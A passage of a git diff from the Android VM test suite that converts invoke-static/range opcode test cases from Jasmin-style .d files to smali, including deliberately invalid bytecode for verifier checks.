+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.d
deleted file mode 100644
index 994973f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_10.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_10
-.super java/lang/Object
-
-
-
-.method static <clinit>()V
-    return-void
-.end method
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali
new file mode 100644
index 0000000..1371ce6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10;
+.super  Ljava/lang/Object;
+
+
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.d
deleted file mode 100644
index 2b7131f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_11.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static/range {}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali
new file mode 100644
index 0000000..35ec02d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.smali
new file mode 100644
index 0000000..133106e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    invoke-static/range {v1 .. v1}, Ldot/junit/opcodes/invoke_static_range/TestClass;->test1(F)I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/T_invoke_static_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/T_invoke_static_range_14.smali
new file mode 100644
index 0000000..427f355
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/T_invoke_static_range_14.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/TestClassInitError;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/TestClassInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/TestClassInitError.smali
new file mode 100644
index 0000000..0447b91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/TestClassInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/TestClassInitError;
+.super Ljava/lang/Object;
+.source "TestClassInitError.java"
+
+
+# direct methods
+.method public static constructor <clinit>()V
+    .registers 2
+
+    const v0, 0x1
+
+    const v1, 0x0
+
+    div-int v0, v0, v1
+
+    return-void
+.end method
+
+.method public static test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.d
deleted file mode 100644
index c56d3c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_15.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 6
-
-    const v1, 123
-    const v2, 345
-
-    const v3, 12
-    const v4, 6
-    
-    invoke-static/range {v3..v4}, dot/junit/opcodes/invoke_static_range/TestClass/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 2
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 345
-    if-ne v2, v4, Label0
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali
new file mode 100644
index 0000000..363eb17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 6
+
+    const v1, 123
+    const v2, 345
+
+    const v3, 12
+    const v4, 6
+    
+    invoke-static/range {v3..v4}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 2
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 345
+    if-ne v2, v4, :Label0
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.d
deleted file mode 100644
index c66089b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_16.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static/range {v3}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali
new file mode 100644
index 0000000..9094b8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static/range {v3}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.d
deleted file mode 100644
index b2ce948..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_17.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/TestClass/testProtected()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali
new file mode 100644
index 0000000..c933ae5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testProtected()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/T_invoke_static_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/T_invoke_static_range_18.smali
new file mode 100644
index 0000000..df19aae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/T_invoke_static_range_18.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_18.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/TestProtected;->testP()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/TestProtected.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/TestProtected.smali
new file mode 100644
index 0000000..e18a3ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/TestProtected.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/TestProtected;
+.super Ljava/lang/Object;
+.source "TestProtected.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method protected static testP()I
+    .registers 2
+
+    const v0, 0x378
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.d
deleted file mode 100644
index 051df3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_19.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_19
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-static/range {}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const/4 v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali
new file mode 100644
index 0000000..314b922
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_19.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-static/range {}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const/4 v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.d
deleted file mode 100644
index 67e9a13..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_2.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/TestClass/test()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali
new file mode 100644
index 0000000..ee63c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->test()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.d
deleted file mode 100644
index 5819881..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_20.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const-wide v1, 1
-       invoke-static/range {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali
new file mode 100644
index 0000000..6bbd34c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
